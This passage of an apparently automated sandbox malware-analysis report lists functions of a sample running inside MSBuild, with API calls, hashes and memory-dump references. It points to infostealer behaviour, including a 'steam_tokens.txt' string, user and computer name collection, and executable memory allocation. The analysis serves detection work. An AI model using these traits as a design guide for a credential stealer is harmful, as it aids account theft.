Instruction Fuzzy Hash: CA72A172C11018AADB19FB91DD92EEEB33CAF14314F50469FB11662051EF342BDACB69

Function 00415100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01250578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(00000000,00000000,00420ACA,?,?,?,?,?,?,0041610B,?), ref: 0041512A

Strings

steam_tokens.txt, xrefs: 0041513F

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction ID: 0b443913f8ff21268bbca5da4ddd77cab48c5630089faae76e13a1e44d6df956
Opcode Fuzzy Hash: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction Fuzzy Hash: E4F06D3194110866CB04F7B2EC539ED733C9F50358F80416EB413620D2EF3C675AC6AA

Function 00417ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
wsprintfA.USER32 ref: 00417F16

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction ID: 2fbe6902627a031950d7a3fa851ef95510e90209490a35db063d7eb50f57f6da
Opcode Fuzzy Hash: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction Fuzzy Hash: 53F0F6B5A44218FBC710CF84DC45FEAF7BCF744710F50066AF50592280D37929408BD5

Function 0040B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040B9C2
lstrlenA.KERNEL32(00000000), ref: 0040B9D6

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction ID: 4e9d2fdd6b59a5819e0b0cc177d60c70936eaf215788bcf9b06e28604354d71c
Opcode Fuzzy Hash: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction Fuzzy Hash: EEE133729111189BDB04FBA1CD92EEE7339AF14314F40456EF50672091EF386B9ACB7A

Function 0040AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B16A
lstrlenA.KERNEL32(00000000), ref: 0040B17E

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction ID: e0be25968149aafb42a348446a4bf8d1b8c1be94a7ef2c7b8365e7541d0fe6a1
Opcode Fuzzy Hash: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction Fuzzy Hash: D9916571911108ABDB04FBE1DD52EEE7339AF14314F40452EF507A6091EF386A99CBBA

Function 0040B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B42E
lstrlenA.KERNEL32(00000000), ref: 0040B442

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction ID: fa4c7b04dc1bb1edeb240a941fc638acc8c20e4742db631e424c44125528f59d
Opcode Fuzzy Hash: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction Fuzzy Hash: 68716271911108ABDB04FBA1DD92DEE7339BF14314F40452EF506A7091EF386A99CBAA

Function 00406660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406DBE,00406DBE,00003000,00000040), ref: 00406706
VirtualAlloc.KERNEL32(00000000,00406DBE,00003000,00000040), ref: 00406753

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction ID: cfb135ee3c51d7510548447878d0c09a9e1e3ef004be55e97ea32f204b2e5fca
Opcode Fuzzy Hash: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction Fuzzy Hash: B741EE74A00209EFCB44CF58C494BADBBB1FF44314F1486A9E95AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00418D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction ID: c33170cd47b5ddaf33f3bd529e3e9bd0b8526aec605854159e3974d419e7fdd8
Opcode Fuzzy Hash: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction Fuzzy Hash: C0F01574C00208EBCB00EFA4E5496DDBB74EB11324F10819EE826673C0DB796A96DB89

Function 00418DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction ID: e82dd92a107a558878b8aedbded484b2d7625ea591a662ceffa58b28bb8b597d
Opcode Fuzzy Hash: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction Fuzzy Hash: EEE01A75A4034C7BDB91EB90CC96FEE737CDB44B11F004299BA0C5A1C0DE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
